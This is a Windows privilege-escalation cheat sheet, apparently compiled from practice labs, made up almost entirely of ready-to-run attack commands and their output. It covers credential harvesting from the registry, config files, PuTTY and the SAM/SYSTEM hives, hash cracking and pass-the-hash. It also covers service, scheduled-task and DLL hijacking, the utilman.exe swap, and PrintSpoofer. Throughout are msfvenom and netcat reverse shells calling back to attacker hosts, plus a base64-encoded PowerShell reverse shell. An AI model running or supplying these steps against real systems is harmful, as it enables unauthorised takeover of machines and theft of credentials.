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Privilege Escalation

Kernel Exploits

πŸ”₯ windows-exploit-suggester

/opt/windows/windows-exploit-suggester systeminfo.txt -i "Elevation of Privilege" -e > exploits.txt
  • -i - filter
  • -e - only with exploits

collection of exploits

https://github.com/SecWiki/windows-kernel-exploits

metasploit

msf> use post/multi/recon/local_exploit_suggester

Harvesting Passwords

πŸ”₯ Clear Text

Search through all files in current directory. 

findstr /si password *.txt *.ini *.config > pass0.txt

πŸ”₯ Reg

reg query HKLM /f password /t REG_SZ /s > pass1.txt
reg query HKCU /f password /t REG_SZ /s > pass2.txt

πŸ”₯ Leftover

When installing Windows on many hosts, administrators may use Windows Deployment Services. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations: 

type C:\Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattend\Unattend.xml
type C:\Windows\system32\sysprep.inf
type C:\Windows\system32\sysprep\sysprep.xml

πŸ”₯ History

Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. powershell 

cat ~\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


cd ~\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
ls
cat ConsoleHost_history.txt

πŸ”₯ RunAs / Saved Credentials

Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. 

cmdkey /list
|->
Currently stored credentials:
    Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz
While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below. 
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe

runas /savecred /user:WPRIVESC1\mike.katz powershell.exe

runas /savecred /user:WPRIVESC1\mike.katz r-shell-4444.exe # untested

πŸ”₯ IIS Configuration

Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:

type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
|->
connectionString="Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password=098n0x35skjD3"

πŸ”₯ Credentials From PuTTY

PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials. 

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /s

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
|->
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server
    ProxyExcludeList    REG_SZ
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x0
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    thom.smith πŸ”₯
    ProxyPassword    REG_SZ    CoolPass2021 πŸ”₯
    ProxyTelnetCommand    REG_SZ    connect %host %port\n
    ProxyLogToTerm    REG_DWORD    0x1

πŸ”₯ windows.old

  • check if windows.old folder is present
  • check if SAM and SYSTEM files are present in windows.old\Widnows\System32
  • dump hashed from SAM/SYSTEM

πŸ”₯ id_rsa

  • /root/.ssh/authorized_keys
  • /root/.ssh/id_rsa
  • /home/$USER/.ssh/authorized_keys
  • /home/$USER/.ssh/id_rsa
  • /backups/supersecretkeys/id_rsa

πŸ”₯ SYSTEM/SAM

The SAM (Security Account Manager) is a Microsoft Windows database that contains local account information such as usernames and passwords. The SAM database stores these details in an encrypted format to make them harder to be retrieved. Moreover, it can not be read and accessed by any users while the Windows operating system is running.Β However, there are various ways and attacks to dump the content of the SAM database.

SAM - Metasploit's HashDump.

The Metasploit framework uses in-memory code injection to the LSASS.exe process to dump copy hashes. 

meterpreter> getuid
|-> 
THM\Administrator

meterpreter> hashdump
|->
Administrator:500:aad3...
Guest:501:aad3b435b514...
krbtgt:502:aad3b435b51...

Once we obtain NTLM hashes, we can try to crack them using Hashcat if they are guessable, or we can use different techniques to impersonate users using the hashes.

SAM - Volume Shadow Copy Service

Microsoft Volume shadow copy service, helps perform a volume backup while applications read/write on volumes.

More specifically, we will be using wmic to create a shadow volume copy. This has to be done through the command prompt with administrator privileges, as follows,

  1. Run the standard cmd.exe prompt with administrator privileges.
  2. Execute the wmic command to create a copy shadow of C: drive
C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
};
  1. Verify the creation from step 2 is available. Use the vssadmin,Β Volume Shadow Copy Service administrative command-line tool, to list and confirm that we have a shadow copy of the C: volume.
C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
   Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
        Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
        Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
  1. Copy the SAM database from the volume we created in step 2 As mentioned previously, the SAM database is encrypted either with RC4 or AES encryption algorithms. In order to decrypt it, we need a decryption key which is also stored in the file's system in c:\Windows\System32\Config\system
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam 
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system
  1. Download those files to your Kali machine and extract the hashes using 
    /opt/tools/impacket/examples/secretsdump.py -sam /tmp/sam -system /tmp/system LOCAL

Once we obtain NTLM hashes, we can try to crack them using Hashcat if they are guessable, or we can use different techniques to impersonate users using the hashes.

SAM - Registry Hives

Windows registry also stores a copy of some of the SAM database contents to be used by Windows services.

  1. We can save the value of the Windows registry using the reg.exe tool. Ensure you run the command prompt with Administrator privileges. 

    reg save HKLM\sam C:\users\Administrator\Desktop\SAM
reg save HKLM\system C:\users\Administrator\Desktop\SYSTEM

  2. Download those files to your Kali machine and extract the hashes using 

    /opt/tools/impacket/examples/secretsdump.py -sam sam-reg -system system-reg LOCAL

Once we obtain NTLM hashes, we can try to crack them using Hashcat if they are guessable, or we can use different techniques to impersonate users using the hashes.

# Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
hashcat -m 1000 --force 98d3a787a80d08385cea7fb4aa2a4261 /usr/share/wordlists/rockyou.txt

SAM - windows.old

  • C:\windows.old\Windows\System32\SAM
  • C:\windows.old\Windows\System32\SYSTEM
/opt/tools/impacket/examples/secretsdump.py -sam SAM -system SYSTEM LOCAL

Scheduled Tasks

πŸ”₯ Overwrite task file

List scheduled task - option 1 [cmd] 

schtasks
schtasks > schtasks.txt
List scheduled task - option 2 
schtasks /query /fo LIST /v
# check TaskName, NextRunTime, Autho, TaskToRun, RunAsUser
Show task details [cmd / powershell] 
schtasks /query /tn vulntask /fo list /v
Check file permission [cmd / powershell] 
icacls c:\tasks\schtask.bat
Check file permission - optional tool 
C:\PrivEsc\accesschk.exe /accepteula -quvw user c:\tasks\schtask.bat
Setup listener [kali] 
nc -lvnp 4444
Overwrite file [cmd] 
echo c:\tools\nc64.exe -e cmd.exe <KALI-IP> 4444 > C:\tasks\schtask.bat
Run task [cmd] 
schtasks /run /tn vulntask

AlwaysInstallElevated

Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones).

Query registry values 

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

  • To be able to exploit this vulnerability, both should be set 1 (0Γ—1).
  • Otherwise, exploitation will not be possible.

πŸ”₯ Exploiting with reverse shell

Generate a malicious .msi file using msfvenom 

msfvenom -p windows/x64/shell/reverse_tcp LHOST=$IP_LOCAL LPORT=4445 -f msi -o malicious.msi
Run the installer 
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

πŸ”₯ Exploiting with PowerUp

run PowerUp script 

powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
Create a small GUI application (UserAdd.exe), where we will be able to add new user 
Write-USerAddMSI

πŸ”₯ Exploiting with metasploit

use post explotation module 

use exploit/windows/local/always_install_elevated

Service

πŸ”₯ Overwrite executable file

  • Vulnerability Name: Insecure Permissions on Service Executable
  • Vulnerability Description: Insecure Service Executables, If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially.

img/service_executable.png

step 1. Upload PowerUp.ps1

on kali 

mkdir www
cd www
find / -name '*PowerUp*' 2>/dev/null
cp /opt/windows/PowerUp.ps1 .
python3 -m http.server 80

on windows [powershell] 

wget <KALI-IP>/PowerUp.ps1 -O PowerUp.ps1
. .\PowerUp.ps1

step 2. Find service that can ba hack

Option 1 list services with – PowerUp.ps1 [ps] 

Invoke-AllChecks
|->
[*] Checking service executable and argument permissions...

ServiceName                     : WindowsScheduler
Path                            : C:\PROGRA~2\SYSTEM~1\WService.exe
ModifiableFile                  : C:\PROGRA~2\SYSTEM~1\WService.exe
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : Everyone
StartName                       : .\svcusr1
AbuseFunction                   : Install-ServiceBinary -Name 'WindowsScheduler'
CanRestart                      : True
Name                            : WindowsScheduler
Check                           : Modifiable Service Files

Option 2 list services with – PowerUp.ps1 [ps] 

Get-ModifiableServiceFile
|->
ServiceName                     : WindowsScheduler
Path                            : C:\PROGRA~2\SYSTEM~1\WService.exe
ModifiableFile                  : C:\PROGRA~2\SYSTEM~1\WService.exe
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : Everyone
StartName                       : .\svcusr1
AbuseFunction                   : Install-ServiceBinary -Name 'WindowsScheduler'
CanRestart                      : True
Name                            : WindowsScheduler

step 3. Get details of service configuration

Query the service configuration [cmd] 

sc qc WindowsScheduler
|->
C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr1

step 4. Check permissions

Option 1 - Check the permissions on the executable with icacls [ps] 

icacls "C:\Program Files (x86)\SystemScheduler\WService.exe"
|->
C:\Program Files (x86)\SystemScheduler\WService.exe 
    Everyone:(I)(M) πŸ”₯
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
    APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Option 2 - Check the permissions on the executable with accesschk [ps] 

.\accesschk.exe /accepteula -quvw "C:\Program Files (x86)\SystemScheduler\WService.exe"

Accesschk v6.14 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Program Files (x86)\SystemScheduler\WService.exe
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
        FILE_APPEND_DATA
        FILE_EXECUTE
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW BUILTIN\Users
        FILE_APPEND_DATA
        FILE_EXECUTE
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

step 5. Payload preparation and delivery

Let's generate an exe-service payload using msfvenom and serve it through a python webserver [kali] 

cd www
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP_LOCAL LPORT=4444 -f exe-service -o rev-shell.exe
Start server [kali] 
cd www
python3 -m http.server 80
Start listener [kali] 
nc -lvp 4444
We can then pull the payload from Powershell with the following command [ps] 
wget http://<KALI-IP>/rev-shell.exe -O rev-shell.exe

step 6. Overwrite and rerun

Overwrite service [ps] 

cd "C:\Program Files (x86)\SystemScheduler"

move WService.exe WService.exe.backup

move C:\Users\thm-unpriv\rev-shell.exe WService.exe

icacls WService.exe /grant Everyone:F
Restart the service [cmd] 
sc stop WindowsScheduler
sc start WindowsScheduler

πŸ”₯ Unquoted service paths

step 1. Upload PowerUp.ps1

on kali 

mkdir www
cd www
find / -name '*PowerUp*' 2>/dev/null
cp /opt/windows/PowerUp.ps1 .
python3 -m http.server 80

on windows [powershell] 

wget <KALI-IP>/PowerUp.ps1 -O PowerUp.ps1
. .\PowerUp.ps1

step 2. Find unquoted service path

Option 1 use PowerUp.ps1 script to find unqouted service path. 

Invoke-AllChecks
|->
ServiceName    : Disk Sorter Enterprise
Path           : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
ModifiablePath : @{ModifiablePath=C:\MyPrograms; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : .\svcusr2
AbuseFunction  : Write-ServiceBinary -Name 'Disk Sorter Enterprise' -Path <HijackPath>
CanRestart     : True
Name           : Disk Sorter Enterprise
Check          : Unquoted Service Paths

Option 2 

Get-UnquotedService
|->
ServiceName    : Disk Sorter Enterprise
Path           : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
ModifiablePath : @{ModifiablePath=C:\MyPrograms; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : .\svcusr2
AbuseFunction  : Write-ServiceBinary -Name 'Disk Sorter Enterprise' -Path <HijackPath>
CanRestart     : True
Name           : Disk Sorter Enterprise

Option 3 [cmd] 

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

Option 4 list all services and path [ps] 

Get-WmiObject win32_service | ?{$_.State -like 'Running'} | select Name, DisplayName, PathName
Get-WmiObject win32_service | ?{$_.State -like 'Running'} | select Name, PathName

step 3. get details of service

check service configuration [cmd] 

sc qc "Disk Sorter Enterprise"

step 4. What is going on

Service path

  • C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

Windows will search for

  • C:\MyPrograms\Disk.exe
  • C:\MyPrograms\Disk Sorter.exe
  • C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

step 5. Check permission

Check permission [cmd] 

icacls "c:\MyPrograms\Disk Sorter Enterprise\bin"
icacls "c:\MyPrograms\Disk Sorter Enterprise"

icacls "c:\MyPrograms"
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD) πŸ”₯
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

❔ (I)(CI)(WD) -> https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls

step 6. Payload preparation and delivery

Let's generate an exe-service payload using msfvenom and serve it through a python webserver [kali] 

cd www
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP_LOCAL LPORT=4445 -f exe-service -o Disk.exe
Start server [kali] 
cd www
python3 -m http.server 80
Start listener [kali] 
nc -lvp 4445

step 7. Overwrite and rerun

We can then pull the payload from Powershell with the following command [ps] 

cd "C:\MyPrograms"
wget http://<KALI-IP>/Disk.exe -O Disk.exe

ls
|->
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/3/2022   3:16 PM                Disk Sorter Enterprise
-a----        6/24/2023  10:00 AM          48640 Disk.exe
Overwrite service executable [cmd] 
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

Restart the service [cmd] 

sc stop "Disk Sorter Enterprise"
sc start "Disk Sorter Enterprise"

πŸ”₯ Modified service configuration

Vulnerability: Insecure Service Permissions To Configuration

step 1. Upload PowerUp.ps1

on kali 

mkdir www
cd www
find / -name '*PowerUp*' 2>/dev/null
cp /opt/windows/PowerUp.ps1 .
python3 -m http.server 80

on windows [powershell] 

wget <KALI-IP>/PowerUp.ps1 -O PowerUp.ps1
on windows [powershell] 
. .\PowerUp.ps1

step 2. Find misconfiguration

Option 1 

Invoke-AllChecks
|->
ServiceName   : THMService
Path          : c:\MyPrograms\THMService\THMService.exe
StartName     : .\svcusr3
AbuseFunction : Invoke-ServiceAbuse -Name 'THMService'
CanRestart    : True
Name          : THMService
Check         : Modifiable Services

step 3. Check configuration

check service configuration [cmd] 

sc qc THMService
[ps] 
Get-Service "THMService" | Select *

check permissions of service [windows-ps]

  • https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
  • Open command prompt and type
  • check for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS permission

[cmd] 

accesschk64.exe -qlc THMService
accesschk64.exe -wuvc THMService

step 4. Payload preparation and delivery

Create exploit [linux] 

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP_LOCAL LPORT=4446 -f exe-service -o rev-shell-4446.exe
Start server [linux] 
python3 -m http.server 80
Setup listener [linux] 
netcat -lvnp 4446
We can then pull the payload from Powershell with the following command [windows-ps] 
wget http://<KALI-IP>/rev-shell-4446.exe -O rev-shell-4446.exe
Grant access [windows-ps] 
icacls C:\Users\thm-unpriv\rev-shell-4446.exe /grant Everyone:F
Update service configuration [windows-cmd] 
sc config THMService binPath= "C:\Users\thm-unpriv\rev-shell-4446.exe" obj= LocalSystem
Stop and start [windows-cmd] 
sc stop THMService
sc start THMService

πŸ”₯ Overwrite service registry configuration

  1. Check if we have conroll over reg key
    1. Using accesschk.exe, note that the registry entry for the regsvc service is writable by the NT AUTHORITY\INTERACTIVE group (essentially all logged-on users) πŸ”¨ accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
    2. OR, Using powershell Get-Acl πŸ”¨ powershell -ep bypass πŸ”¨ Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
  2. Overwrite the ImagePath registry key to point to the reverse.exe executable you created 
    reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  3. start listener on kali
  4. start service on target 
    net start regsvc
    or 
    sc start regsvc

πŸ”₯ DLL Hijacking

DLL Path Search order

  1. The directory from which the application loaded
  2. The system directory
  3. The 16-bit system directory
  4. The Windows directory
  5. The currect directory
  6. The directories that are listed in the PATH environment variable $env:path

Attacking from UI

  1. find DLL that can be hijacked
    • run Procmon64 β†’ part of Sysinternals
    • setup filter
      • 'Retult' 'is' 'NAME NOT FOUND'
      • 'Path' 'ends with' '.dll' img/service_dll_hijacking.png
  2. generate rev shell (or use windows_dll.c) 
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f dll -o revshell.dll
  3. copy revshell.dll into C:\Temp as hijackme.dll
  4. restart service 
    sc stop dllsvc
sc start dllsvc

BypassUAC

  • https://github.com/CsEnox/EventViewer-UACBypass/blob/main/Invoke-EventViewer.ps1 
    import-module .\Invoke-EventViewer.ps1
Invoke-EventViewer C:\Windows\Tasks\shell_8444.exe

Privileges

Info Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.

Each user has a set of assigned privileges that can be checked with the following command: 

whoami /priv
From an attacker's standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on https://github.com/gtworek/Priv2Admin

πŸ”₯ SeRestorePrivilege

The SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.

We will use the EnableSeRestorePrivilege.ps1 script to enable this privilege in our PowerShell session. Let's begin by downloading it to our attacking machine.

wget https://raw.githubusercontent.com/gtworek/PSBits/master/Misc/EnableSeRestorePrivilege.ps1

certutil -urlcache -f http://192.168.45.5/EnableSeRestorePrivilege.ps1 EnableSeRestorePrivilege.ps1

./EnableSeRestorePrivilege.ps1

We should now have write access to C:\Windows\System32.

Utilman.exe Abuse with RDP

The utilman.exe is a built-in Windows application that is designed to allow users to configure system accessibility options such as the Magnifier, High Contrast Theme, Narrator, and On Screen Keyboard before they log in to the system.

This application is triggered by issuing the WIN + U key combination while on the Windows Logon screen. It's important to note that the application runs with SYSTEM privileges.

We can leverage our write access in the system directory C:\Windows\System32 to replace utilman.exe with cmd.exe.

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
*Evil-WinRM* PS C:\Users\svc_apache$\Documents>

If we can now trigger the application, it should grant us a SYSTEM shell. Let's give this a try using Remote Desktop Protocol with rdesktop.

rdesktop $IP

We'll issue WIN + U (CMD + U on Mac keyboards) on the logon screen to trigger the execution of utilman.exe. If all went well, the application should run cmd.exe with system-level integrity.

πŸ”₯ SeImpersonatePrivilege

PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10. To escalate privileges, the service account must have SeImpersonate privileges.

wget https://github.com/dievus/printspoofer/raw/master/PrintSpoofer.exe

certutil -urlcache -f http://192.168.45.226/PrintSpoofer.exe PrintSpoofer.exe
wget http://192.168.45.226/PrintSpoofer.exe -O PrintSpoofer.exe


./PrintSpoofer.exe -i -c "whoami"
./PrintSpoofer.exe -i -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA2ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

nc -lnvp 4445
|->
whoami
nt authority\system

πŸ”₯ SeBackup / SeRestore

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator's password hash.

step 1. backup the SAM and SYSTEM

on Windows, backup the SAM and SYSTEM hashes 

reg save hklm\system C:\Users\THMBackup\SYSTEM
reg save hklm\sam C:\Users\THMBackup\SAM

step 2. transfer files to kali

smb server setup on kali 

/opt/tools/impacket/examples/smbserver.py -smb2support -username "THMBackup" -password "CopyMaster555" public .

copy files from Windows to SMB Server 

copy SAM \\<KALI-IP>\public\
copy SYSTEM \\<KALI-IP>\public\

step 3. retrieve and crack hashes

on Kali, retrieve the users password hashes 

/opt/tools/impacket/examples/secretsdump.py -sam SAM -system SYSTEM LOCAL
|->
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
THMBackup:1008:aad3b435b51404eeaad3b435b51404ee:6c252027fb2022f5051e854e08023537:::
THMTakeOwnership:1009:aad3b435b51404eeaad3b435b51404ee:0af9b65477395b680b822e0b2c45b93b:::

admin:1001:<LM>:<NTLM>:::
crack NTLM hash 
hashcat -m 1000 --force 8f81ee5558e2d1205a84d07b0e3b34f5 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 --force 6c252027fb2022f5051e854e08023537 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 --force 0af9b65477395b680b822e0b2c45b93b /usr/share/wordlists/rockyou.txt

step 4. pass the hash

on Kali, login as administrator by hash 

/opt/tools/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 Administrator@$IP

πŸ”₯ SeTakeOwnership

The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as a SYSTEM and take ownership of the service's executable.

cmd as administrator 

whoami /priv
takeover the file 
takeown /f C:\Windows\System32\Utilman.exe
give your user full permissions 
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
replace utilman.exe with a copy of cmd.exe 
copy cmd.exe utilman.exe
triger utilman - lock screen from the start button - click on the "Ease of Access" button

πŸ”₯ SeManageVolumePrivilege

According to this github repository:

This exploit grants full permission on C:\ drive for all users on the machine.

-   Enables the privilege in the token
-   Creates handle to \.\C: with SYNCHRONIZE | FILE_TRAVERSE
-   Sends the FSCTL_SD_GLOBAL_CHANGE to replace S-1-5-32-544 with S-1-5-32-545

Let's grab the compiled executable from the releases page.

We upload SeManageVolumeExploit.exe to the target and execute it. After execution, we discover that the Builtin Users group has full permissions on the Windows folder.

C:\xampp\htdocs\uploads>whoami
access\svc_mssql

C:\xampp\htdocs\uploads>SeManageVolumeExploit.exe
Entries changed: 865
DONE 

C:\xampp\htdocs\uploads>icacls C:/Windows
C:/Windows NT SERVICE\TrustedInstaller:(F)
           NT SERVICE\TrustedInstaller:(CI)(IO)(F)
           NT AUTHORITY\SYSTEM:(M)
           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
           BUILTIN\Users:(M)
           BUILTIN\Users:(OI)(CI)(IO)(F)

Let's use WerTrigger from https://github.com/sailay1996/WerTrigger to acquire a SYSTEM shell.

To set it up we need to:

  1. Copy phoneinfo.dll to C:\Windows\System32
  2. Place Report.wer file and WerTrigger.exe in a same directory.
  3. Run WerTrigger.exe.
C:\xampp\htdocs\uploads\enox>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCC2-BF17

 Directory of C:\xampp\htdocs\uploads\enox

10/10/2021  07:25 PM    <DIR>          .
10/10/2021  07:25 PM    <DIR>          ..
10/10/2021  07:23 PM             9,252 Report.wer
10/10/2021  07:23 PM            15,360 WerTrigger.exe
               2 File(s)         24,612 bytes
               2 Dir(s)  50,123,882,496 bytes free

C:\xampp\htdocs\uploads\enox>WerTrigger.exe
WerTrigger.exe
c:/xampp/htdocs/uploads/nc.exe 192.168.118.23 4444 -e cmd.exe

Note : WerTrigger.exe will not produce any output and will just wait for you to type the instructions you want to perform.

β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ nc -lvnp 4444
